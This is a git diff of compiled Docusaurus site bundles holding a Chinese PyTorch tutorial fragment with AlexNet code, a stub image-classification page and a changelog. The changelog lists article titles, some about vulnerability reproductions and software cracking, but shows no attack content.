\u6570\u636e\u96c6\u6765\u8bad\u7ec3\u8fd9\u4e2a\u7f51\u7edc\uff0c\u8981\u628a\u56fe\u7247\u5927\u5c0f\u91cd\u65b0\u8c03\u6574\u5230 32x32\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"input = torch.randn(1, 1, 32, 32)\nout = net(input)\nprint(out)\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u6e05\u96f6\u6240\u6709\u53c2\u6570\u7684\u68af\u5ea6\u7f13\u5b58\uff0c\u7136\u540e\u8fdb\u884c\u968f\u673a\u68af\u5ea6\u7684\u53cd\u5411\u4f20\u64ad\uff1a"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"net.zero_grad()\nout.backward(torch.randn(1, 10))\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u6ce8\u610f\uff1a",(0,d.jsx)(e.code,{children:"torch.nn"}),"\u53ea\u652f\u6301\u5c0f\u6279\u91cf\u5904\u7406 (mini-batches\uff09\u3002\u6574\u4e2a ",(0,d.jsx)(e.code,{children:"torch.nn"})," \u5305\u53ea\u652f\u6301\u5c0f\u6279\u91cf\u6837\u672c\u7684\u8f93\u5165\uff0c\u4e0d\u652f\u6301\u5355\u4e2a\u6837\u672c\u7684\u8f93\u5165\u3002\u6bd4\u5982\uff0c",(0,d.jsx)(e.code,{children:"nn.Conv2d"})," \u63a5\u53d7\u4e00\u4e2a4\u7ef4\u7684\u5f20\u91cf\uff0c\u5373",(0,d.jsx)(e.code,{children:"nSamples x nChannels x Height x Width "}),"\u5982\u679c\u662f\u4e00\u4e2a\u5355\u72ec\u7684\u6837\u672c\uff0c\u53ea\u9700\u8981\u4f7f\u7528",(0,d.jsx)(e.code,{children:"input.unsqueeze(0)"})," \u6765\u6dfb\u52a0\u4e00\u4e2a\u201c\u5047\u7684\u201d\u6279\u5927\u5c0f\u7ef4\u5ea6\u3002"]}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"torch.Tensor"})," - \u4e00\u4e2a\u591a\u7ef4\u6570\u7ec4\uff0c\u652f\u6301\u8bf8\u5982",(0,d.jsx)(e.code,{children:"backward()"}),"\u7b49\u7684\u81ea\u52a8\u6c42\u5bfc\u64cd\u4f5c\uff0c\u540c\u65f6\u4e5f\u4fdd\u5b58\u4e86\u5f20\u91cf\u7684\u68af\u5ea6\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"nn.Module "}),"- \u795e\u7ecf\u7f51\u7edc\u6a21\u5757\u3002\u662f\u4e00\u79cd\u65b9\u4fbf\u5c01\u88c5\u53c2\u6570\u7684\u65b9\u5f0f\uff0c\u5177\u6709\u5c06\u53c2\u6570\u79fb\u52a8\u5230GPU\u3001\u5bfc\u51fa\u3001\u52a0\u8f7d\u7b49\u529f\u80fd\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"nn.Parameter "}),"- \u5f20\u91cf\u7684\u4e00\u79cd\uff0c\u5f53\u5b83\u4f5c\u4e3a\u4e00\u4e2a\u5c5e\u6027\u5206\u914d\u7ed9\u4e00\u4e2a",(0,d.jsx)(e.code,{children:"Module"}),"\u65f6\uff0c\u5b83\u4f1a\u88ab\u81ea\u52a8\u6ce8\u518c\u4e3a\u4e00\u4e2a\u53c2\u6570\u3002"]}),"\n"]}),"\n",(0,d.jsxs)(e.li,{children:["\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"autograd.Function"})," - \u5b9e\u73b0\u4e86\u81ea\u52a8\u6c42\u5bfc\u524d\u5411\u548c\u53cd\u5411\u4f20\u64ad\u7684\u5b9a\u4e49\uff0c\u6bcf\u4e2a",(0,d.jsx)(e.code,{children:"Tensor"}),"\u81f3\u5c11\u521b\u5efa\u4e00\u4e2a",(0,d.jsx)(e.code,{children:"Function"}),"\u8282\u70b9\uff0c\u8be5\u8282\u70b9\u8fde\u63a5\u5230\u521b\u5efa",(0,d.jsx)(e.code,{children:"Tensor"}),"\u7684\u51fd\u6570\u5e76\u5bf9\u5176\u5386\u53f2\u8fdb\u884c\u7f16\u7801\u3002"]}),"\n"]}),"\n"]}),"\n",(0,d.jsx)(e.p,{children:"\u4e0b\u9762\u518d\u4ecb\u7ecd\u4e00\u4e2a\u6bd4\u8f83\u57fa\u7840\u7684\u6848\u4f8bAlexNet"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:(0,d.jsx)(e.strong,{children:"AlexNet"})}),"\n"]}),"\n",(0,d.jsx)(e.p,{children:(0,d.jsx)(e.img,{alt:"3.4.2",src:r(79768).A+"",width:"1258",height:"498"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"class AlexNet(nn.Module):\n def __init__(self):\n super(AlexNet, self).__init__()\n self.conv = nn.Sequential(\n nn.Conv2d(1, 96, 11, 4), # in_channels, out_channels, kernel_size, stride, padding\n nn.ReLU(),\n nn.MaxPool2d(3, 2), # kernel_size, stride\n # \u51cf\u5c0f\u5377\u79ef\u7a97\u53e3\uff0c\u4f7f\u7528\u586b\u5145\u4e3a2\u6765\u4f7f\u5f97\u8f93\u5165\u4e0e\u8f93\u51fa\u7684\u9ad8\u548c\u5bbd\u4e00\u81f4\uff0c\u4e14\u589e\u5927\u8f93\u51fa\u901a\u9053\u6570\n nn.Conv2d(96, 256, 5, 1, 2),\n nn.ReLU(),\n nn.MaxPool2d(3, 2),\n # \u8fde\u7eed3\u4e2a\u5377\u79ef\u5c42\uff0c\u4e14\u4f7f\u7528\u66f4\u5c0f\u7684\u5377\u79ef\u7a97\u53e3\u3002\u9664\u4e86\u6700\u540e\u7684\u5377\u79ef\u5c42\u5916\uff0c\u8fdb\u4e00\u6b65\u589e\u5927\u4e86\u8f93\u51fa\u901a\u9053\u6570\u3002\n # \u524d\u4e24\u4e2a\u5377\u79ef\u5c42\u540e\u4e0d\u4f7f\u7528\u6c60\u5316\u5c42\u6765\u51cf\u5c0f\u8f93\u5165\u7684\u9ad8\u548c\u5bbd\n nn.Conv2d(256, 384, 3, 1, 1),\n nn.ReLU(),\n nn.Conv2d(384, 384, 3, 1, 1),\n nn.ReLU(),\n nn.Conv2d(384, 256, 3, 1, 1),\n nn.ReLU(),\n nn.MaxPool2d(3, 2)\n )\n # \u8fd9\u91cc\u5168\u8fde\u63a5\u5c42\u7684\u8f93\u51fa\u4e2a\u6570\u6bd4LeNet\u4e2d\u7684\u5927\u6570\u500d\u3002\u4f7f\u7528\u4e22\u5f03\u5c42\u6765\u7f13\u89e3\u8fc7\u62df\u5408\n self.fc = nn.Sequential(\n nn.Linear(256*5*5, 4096),\n nn.ReLU(),\n nn.Dropout(0.5),\n nn.Linear(4096, 4096),\n nn.ReLU(),\n nn.Dropout(0.5),\n # \u8f93\u51fa\u5c42\u3002\u7531\u4e8e\u8fd9\u91cc\u4f7f\u7528Fashion-MNIST\uff0c\u6240\u4ee5\u7528\u7c7b\u522b\u6570\u4e3a10\uff0c\u800c\u975e\u8bba\u6587\u4e2d\u76841000\n nn.Linear(4096, 10),\n )\n\n def forward(self, img):\n feature = self.conv(img)\n output = self.fc(feature.view(img.shape[0], -1))\n return output\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"net = AlexNet()\nprint(net)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"AlexNet(\n (conv): Sequential(\n (0): Conv2d(1, 96, kernel_size=(11, 11), stride=(4, 4))\n (1): ReLU()\n (2): MaxPool2d(kernel_size=3, stride=2, padding=0, dilation=1, ceil_mode=False)\n (3): Conv2d(96, 256, kernel_size=(5, 5), stride=(1, 1), padding=(2, 2))\n (4): ReLU()\n (5): MaxPool2d(kernel_size=3, stride=2, padding=0, dilation=1, ceil_mode=False)\n (6): Conv2d(256, 384, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (7): ReLU()\n (8): Conv2d(384, 384, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (9): ReLU()\n (10): Conv2d(384, 256, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1))\n (11): ReLU()\n (12): MaxPool2d(kernel_size=3, stride=2, padding=0, dilation=1, ceil_mode=False)\n )\n (fc): Sequential(\n (0): Linear(in_features=6400, out_features=4096, bias=True)\n (1): ReLU()\n (2): Dropout(p=0.5)\n (3): Linear(in_features=4096, out_features=4096, bias=True)\n (4): ReLU()\n (5): Dropout(p=0.5)\n (6): Linear(in_features=4096, out_features=10, bias=True)\n )\n)\n"})})]})}function h(n={}){const{wrapper:e}={...(0,l.R)(),...n.components};return e?(0,d.jsx)(e,{...n,children:(0,d.jsx)(a,{...n})}):a(n)}},75379:(n,e,r)=>{r.d(e,{A:()=>s});const s=r.p+"assets/images/3.4.1-19eccc1a9cdb292575b8f591c1dc7b92.png"},79768:(n,e,r)=>{r.d(e,{A:()=>s});const s=r.p+"assets/images/3.4.2-ae440b6977390969adb347c39aa5260c.png"}}]); \ No newline at end of file diff --git a/en/assets/js/bb6f0cd6.6d92bc6c.js b/en/assets/js/bb6f0cd6.6d92bc6c.js new file mode 100644 index 0000000..6431411 --- /dev/null +++ b/en/assets/js/bb6f0cd6.6d92bc6c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5198],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>c});var s=n(96540);const r={},l=s.createContext(r);function i(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function c(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:i(e.components),s.createElement(l.Provider,{value:t},e.children)}},29300:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>c,default:()=>a,frontMatter:()=>i,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b","title":"10.1 \u56fe\u50cf\u5206\u7c7b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u5341\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/"},"next":{"title":"10.2 \u76ee\u6807\u68c0\u6d4b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b"}}');var r=n(74848),l=n(28453);const i={},c="10.1 \u56fe\u50cf\u5206\u7c7b.md",d={},o=[];function h(e){const t={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"101-\u56fe\u50cf\u5206\u7c7bmd",children:"10.1 \u56fe\u50cf\u5206\u7c7b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"101-\u56fe\u50cf\u5206\u7c7b\u7b80\u4ecb\u8865\u5145\u4e2d",children:"10.1 \u56fe\u50cf\u5206\u7c7b\u7b80\u4ecb\uff08\u8865\u5145\u4e2d\uff09"})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/c0aeb5ae.335f8eba.js b/en/assets/js/c0aeb5ae.335f8eba.js new file mode 100644 index 0000000..b18e4b2 --- /dev/null +++ b/en/assets/js/c0aeb5ae.335f8eba.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7653],{28453:(t,e,l)=>{l.d(e,{R:()=>i,x:()=>E});var n=l(96540);const A={},s=n.createContext(A);function i(t){const e=n.useContext(s);return n.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function E(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(A):t.components||A:i(t.components),n.createElement(s.Provider,{value:e},t.children)}},50758:(t,e,l)=>{l.r(e),l.d(e,{assets:()=>d,contentTitle:()=>E,default:()=>r,frontMatter:()=>i,metadata:()=>n,toc:()=>x});const n=JSON.parse('{"id":"\u66f4\u65b0\u65e5\u5fd7","title":"\u66f4\u65b0\u65e5\u5fd7","description":"2026\u5e7410\u6708","source":"@site/docs/\u66f4\u65b0\u65e5\u5fd7.md","sourceDirName":".","slug":"/\u66f4\u65b0\u65e5\u5fd7","permalink":"/en/docs/\u66f4\u65b0\u65e5\u5fd7","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u66f4\u65b0\u65e5\u5fd7.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"TscanPlus \u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3"}}');var A=l(74848),s=l(28453);const i={},E="\u66f4\u65b0\u65e5\u5fd7",d={},x=[{value:"2026\u5e7410\u6708",id:"2026\u5e7410\u6708",level:2},{value:"2026\u5e7410\u670818\u65e5",id:"2026\u5e7410\u670818\u65e5",level:3},{value:"2026\u5e7408\u6708",id:"2026\u5e7408\u6708",level:2},{value:"2026\u5e7408\u670828\u65e5",id:"2026\u5e7408\u670828\u65e5",level:3},{value:"2026\u5e7406\u6708",id:"2026\u5e7406\u6708",level:2},{value:"2026\u5e7406\u670807\u65e5",id:"2026\u5e7406\u670807\u65e5",level:3},{value:"2025\u5e7411\u6708",id:"2025\u5e7411\u6708",level:2},{value:"2025\u5e7411\u670806\u65e5",id:"2025\u5e7411\u670806\u65e5",level:3},{value:"2025\u5e7410\u6708",id:"2025\u5e7410\u6708",level:2},{value:"2025\u5e7410\u670815\u65e5",id:"2025\u5e7410\u670815\u65e5",level:3},{value:"2025\u5e7401\u6708",id:"2025\u5e7401\u6708",level:2},{value:"2025\u5e7401\u670817\u65e5",id:"2025\u5e7401\u670817\u65e5",level:3},{value:"2024\u5e7412\u6708",id:"2024\u5e7412\u6708",level:2},{value:"2024\u5e7412\u670831\u65e5",id:"2024\u5e7412\u670831\u65e5",level:3},{value:"2024\u5e7409\u6708",id:"2024\u5e7409\u6708",level:2},{value:"2024\u5e7409\u670813\u65e5",id:"2024\u5e7409\u670813\u65e5",level:3},{value:"2024\u5e7406\u6708",id:"2024\u5e7406\u6708",level:2},{value:"2024\u5e7406\u670812\u65e5",id:"2024\u5e7406\u670812\u65e5",level:3},{value:"2024\u5e7406\u670806\u65e5",id:"2024\u5e7406\u670806\u65e5",level:3},{value:"2024\u5e7404\u6708",id:"2024\u5e7404\u6708",level:2},{value:"2024\u5e7404\u670801\u65e5",id:"2024\u5e7404\u670801\u65e5",level:3},{value:"2024\u5e7401\u6708",id:"2024\u5e7401\u6708",level:2},{value:"2024\u5e7401\u670813\u65e5",id:"2024\u5e7401\u670813\u65e5",level:3},{value:"2024\u5e7401\u670812\u65e5",id:"2024\u5e7401\u670812\u65e5",level:3},{value:"2023\u5e7410\u6708",id:"2023\u5e7410\u6708",level:2},{value:"2023\u5e7410\u670820\u65e5",id:"2023\u5e7410\u670820\u65e5",level:3},{value:"2023\u5e7408\u6708",id:"2023\u5e7408\u6708",level:2},{value:"2023\u5e7408\u670822\u65e5",id:"2023\u5e7408\u670822\u65e5",level:3},{value:"2023\u5e7408\u670806\u65e5",id:"2023\u5e7408\u670806\u65e5",level:3},{value:"2023\u5e7407\u6708",id:"2023\u5e7407\u6708",level:2},{value:"2023\u5e7407\u670814\u65e5",id:"2023\u5e7407\u670814\u65e5",level:3},{value:"2023\u5e7407\u670812\u65e5",id:"2023\u5e7407\u670812\u65e5",level:3},{value:"2023\u5e7407\u670809\u65e5",id:"2023\u5e7407\u670809\u65e5",level:3},{value:"2023\u5e7407\u670808\u65e5",id:"2023\u5e7407\u670808\u65e5",level:3},{value:"2023\u5e7407\u670805\u65e5",id:"2023\u5e7407\u670805\u65e5",level:3},{value:"2023\u5e7406\u6708",id:"2023\u5e7406\u6708",level:2},{value:"2023\u5e7406\u670805\u65e5",id:"2023\u5e7406\u670805\u65e5",level:3},{value:"2023\u5e7406\u670803\u65e5",id:"2023\u5e7406\u670803\u65e5",level:3},{value:"2023\u5e7406\u670802\u65e5",id:"2023\u5e7406\u670802\u65e5",level:3},{value:"2023\u5e7404\u6708",id:"2023\u5e7404\u6708",level:2},{value:"2023\u5e7404\u670811\u65e5",id:"2023\u5e7404\u670811\u65e5",level:3},{value:"2023\u5e7404\u670809\u65e5",id:"2023\u5e7404\u670809\u65e5",level:3},{value:"2023\u5e7404\u670804\u65e5",id:"2023\u5e7404\u670804\u65e5",level:3},{value:"2023\u5e7403\u6708",id:"2023\u5e7403\u6708",level:2},{value:"2023\u5e7403\u670817\u65e5",id:"2023\u5e7403\u670817\u65e5",level:3},{value:"2023\u5e7403\u670815\u65e5",id:"2023\u5e7403\u670815\u65e5",level:3},{value:"2023\u5e7403\u670813\u65e5",id:"2023\u5e7403\u670813\u65e5",level:3},{value:"2023\u5e7402\u6708",id:"2023\u5e7402\u6708",level:2},{value:"2023\u5e7402\u670821\u65e5",id:"2023\u5e7402\u670821\u65e5",level:3},{value:"2023\u5e7402\u670820\u65e5",id:"2023\u5e7402\u670820\u65e5",level:3},{value:"2023\u5e7401\u6708",id:"2023\u5e7401\u6708",level:2},{value:"2023\u5e7401\u670829\u65e5",id:"2023\u5e7401\u670829\u65e5",level:3},{value:"2023\u5e7401\u670828\u65e5",id:"2023\u5e7401\u670828\u65e5",level:3},{value:"2023\u5e7401\u670826\u65e5",id:"2023\u5e7401\u670826\u65e5",level:3},{value:"2023\u5e7401\u670804\u65e5",id:"2023\u5e7401\u670804\u65e5",level:3},{value:"2022\u5e7412\u6708",id:"2022\u5e7412\u6708",level:2},{value:"2022\u5e7412\u670829\u65e5",id:"2022\u5e7412\u670829\u65e5",level:3},{value:"2022\u5e7412\u670827\u65e5",id:"2022\u5e7412\u670827\u65e5",level:3},{value:"2022\u5e7412\u670826\u65e5",id:"2022\u5e7412\u670826\u65e5",level:3},{value:"2022\u5e7412\u670824\u65e5",id:"2022\u5e7412\u670824\u65e5",level:3},{value:"2022\u5e7412\u670823\u65e5",id:"2022\u5e7412\u670823\u65e5",level:3},{value:"2022\u5e7412\u670822\u65e5",id:"2022\u5e7412\u670822\u65e5",level:3},{value:"2022\u5e7412\u670815\u65e5",id:"2022\u5e7412\u670815\u65e5",level:3},{value:"2022\u5e7412\u670801\u65e5",id:"2022\u5e7412\u670801\u65e5",level:3},{value:"2022\u5e7411\u6708",id:"2022\u5e7411\u6708",level:2},{value:"2022\u5e7411\u670829\u65e5",id:"2022\u5e7411\u670829\u65e5",level:3}];function h(t){const e={a:"a",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,s.R)(),...t.components};return(0,A.jsxs)(A.Fragment,{children:[(0,A.jsx)(e.header,{children:(0,A.jsx)(e.h1,{id:"\u66f4\u65b0\u65e5\u5fd7",children:"\u66f4\u65b0\u65e5\u5fd7"})}),"\n",(0,A.jsx)(e.h2,{id:"2026\u5e7410\u6708",children:"2026\u5e7410\u6708"}),"\n",(0,A.jsx)(e.h3,{id:"2026\u5e7410\u670818\u65e5",children:"2026\u5e7410\u670818\u65e5"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,A.jsxs)(e.table,{children:[(0,A.jsx)(e.thead,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u65f6\u95f4"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u8def\u5f84"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u64cd\u4f5c"})]})}),(0,A.jsxs)(e.tbody,{children:[(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-10-18 19:35:21"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E9%80%86%E5%90%91%E7%A0%B4%E8%A7%A3/TscanPlus%E6%8E%88%E6%9D%83%E9%80%BB%E8%BE%91%E5%88%86%E6%9E%90%E4%B8%8E%E4%BA%8C%E8%BF%9B%E5%88%B6%E8%A1%A5%E4%B8%81%E7%A0%B4%E8%A7%A3",children:"\u9006\u5411\u7834\u89e3/TscanPlus\u6388\u6743\u903b\u8f91\u5206\u6790\u4e0e\u4e8c\u8fdb\u5236\u8865\u4e01\u7834\u89e3"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-09-01 09:36:12"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/%E7%94%A8%E5%8F%8B/YonBIP/YonBIP_NCSysBrokerServlet_%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/YonBIP_NCSysBrokerServlet_%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%281%29",children:"\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-09-02 17:17:50"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/JeecgBoot/JeecgBoot%203.9.5%20pre-auth%20RCE%E6%BC%8F%E6%B4%9E%E7%BB%95%E8%BF%87/",children:"\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-29 00:22:46"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Simple%20Admin/%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E6%B3%A8%E5%86%8C%E5%8D%B3%E8%B6%85%E7%BA%A7%E7%AE%A1%E7%90%86%E5%91%98/%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E6%B3%A8%E5%86%8C%E5%8D%B3%E8%B6%85%E7%BA%A7%E7%AE%A1%E7%90%86%E5%91%98",children:"\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]})]})]}),"\n",(0,A.jsx)(e.h2,{id:"2026\u5e7408\u6708",children:"2026\u5e7408\u6708"}),"\n",(0,A.jsx)(e.h3,{id:"2026\u5e7408\u670828\u65e5",children:"2026\u5e7408\u670828\u65e5"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,A.jsxs)(e.table,{children:[(0,A.jsx)(e.thead,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u65f6\u95f4"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u8def\u5f84"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u64cd\u4f5c"})]})}),(0,A.jsxs)(e.tbody,{children:[(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-08-28 